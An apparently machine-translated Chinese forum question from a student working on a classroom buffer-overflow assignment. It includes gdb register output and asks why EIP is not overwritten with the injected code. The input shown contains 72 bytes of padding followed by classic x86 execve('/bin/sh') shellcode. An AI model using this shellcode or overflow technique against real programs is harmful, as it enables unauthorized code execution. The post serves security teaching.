所以我不得不为一个作业做一个缓冲区溢出,我觉得我非常接近。我必须注意,我的老师已经为我们设置了一个VM,如果我们能够将shellcode放入堆栈的返回地址,它将在堆栈中执行。我不需要循环回我的缓冲区或其中任何一个。我理解我想要覆盖并将我的shellcode放入的寄存器是eip
。我从https://greyhat.gatech.edu/wiki/index.php?title=Stack_Buffer_Overflow
我已经想通了如果我用72个字符填充我的缓冲区s1[64]
,我可以得到一个seg错误:Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
当我有gdb打印出我得到的寄存器的值时:
ebx 0xb7fc8000 -1208188928
esp 0xbffff600 0xbffff600
ebp 0x0 0x0
esi 0x0 0
edi 0x80484c0 134513856
eip 0x0 0x0 <------ Clearly i've messed up eip
如果我用少一个字符填充我的缓冲区,也就是71,程序执行得非常好,所以我觉得72必须以某种方式成为一个神奇的数字。所以我尝试用{72}填充字符填充s1
,后跟我的shellcode。这次我得到了一个不同的段错误:
Program received signal SIGSEGV, Segmentation fault.
0x080486f5 in main () at badcopyTester2.c:61
并且gdb显示eip
填充了0x080486f5
为什么/ eip
如何获得此值?那不是我的shellcode吗?此外,无论我在72个填充字符的末尾添加了什么,eip
总是填充相同的0x080486f5
。两者的输入
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
和
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
给出完全相同的段错误。
再一次,我觉得我非常接近,因为我发现如何清除eip
但是我已经过去了。谢谢你的帮助!